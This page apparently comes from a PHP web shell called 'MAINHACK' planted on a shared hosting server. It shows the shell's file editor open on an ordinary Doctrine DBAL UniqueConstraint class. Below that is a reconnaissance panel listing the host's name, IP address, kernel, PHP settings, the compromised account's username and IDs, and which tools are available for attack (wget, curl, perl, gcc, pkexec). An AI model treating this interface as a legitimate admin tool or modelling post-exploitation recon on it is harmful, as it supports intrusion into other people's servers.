[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: UniqueConstraint.php
<?php namespace Doctrine\DBAL\Schema; use Doctrine\DBAL\Platforms\AbstractPlatform; use function array_keys; use function array_map; use function strtolower; /** * Class for a unique constraint. */ class UniqueConstraint extends AbstractAsset implements Constraint { /** * Asset identifier instances of the column names the unique constraint is associated with. * array($columnName => Identifier) * * @var Identifier[] */ protected $columns = []; /** * Platform specific flags. * array($flagName => true) * * @var true[] */ protected $flags = []; /** * Platform specific options. * * @var mixed[] */ private array $options; /** * @param string[] $columns * @param string[] $flags * @param mixed[] $options */ public function __construct(string $name, array $columns, array $flags = [], array $options = []) { $this->_setName($name); $this->options = $options; foreach ($columns as $column) { $this->addColumn($column); } foreach ($flags as $flag) { $this->addFlag($flag); } } /** * {@inheritDoc} */ public function getColumns() { return array_keys($this->columns); } /** * {@inheritDoc} */ public function getQuotedColumns(AbstractPlatform $platform) { $columns = []; foreach ($this->columns as $column) { $columns[] = $column->getQuotedName($platform); } return $columns; } /** @return string[] */ public function getUnquotedColumns(): array { return array_map([$this, 'trimQuotes'], $this->getColumns()); } /** * Returns platform specific flags for unique constraint. * * @return string[] */ public function getFlags(): array { return array_keys($this->flags); } /** * Adds flag for a unique constraint that translates to platform specific handling. * * @return $this * * @example $uniqueConstraint->addFlag('CLUSTERED') */ public function addFlag(string $flag): UniqueConstraint { $this->flags[strtolower($flag)] = true; return $this; } /** * Does this unique constraint have a specific flag? */ public function hasFlag(string $flag): bool { return isset($this->flags[strtolower($flag)]); } /** * Removes a flag. */ public function removeFlag(string $flag): void { unset($this->flags[strtolower($flag)]); } /** * Does this unique constraint have a specific option? */ public function hasOption(string $name): bool { return isset($this->options[strtolower($name)]); } /** @return mixed */ public function getOption(string $name) { return $this->options[strtolower($name)]; } /** @return mixed[] */ public function getOptions(): array { return $this->options; } /** * Adds a new column to the unique constraint. */ protected function addColumn(string $column): void { $this->columns[$column] = new Identifier($column); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285